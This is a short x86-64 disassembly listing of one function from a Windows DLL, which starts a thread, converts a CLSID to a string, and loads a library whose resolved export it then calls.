xor eax, eax
mov rsi, r8
mov rbp, rdx
mov qword [rsp + 0x28], rax
mov rdi, rcx
mov dword [rsp + 0x20], eax
xor r9d, r9d
lea r8, [0x180009670]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [rsp + 0x58]
mov rcx, rdi
call qword [sym.imp.ole32.dll_StringFromCLSID]
mov ecx, 0x208
call fcn.18000e0c0
cmp qword [0x18017e578], 0
mov rbx, rax
jne 0x18000497c
mov rcx, qword [rsp + 0x58]
mov rdx, rax
call fcn.1800049e0
test eax, eax
jne 0x1800049a0
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
cmp qword [0x18017e580], 8
lea r8, [0x18017e568]
mov edx, 0x104
mov rcx, rbx
cmovae r8, qword [0x18017e568]
call fcn.18001304c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x1801801a8], rax
test rax, rax
je 0x180004962
lea rdx, [0x180027290]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180004962
mov r8, rsi
mov rdx, rbp
mov rcx, rdi
call rax
jmp 0x180004967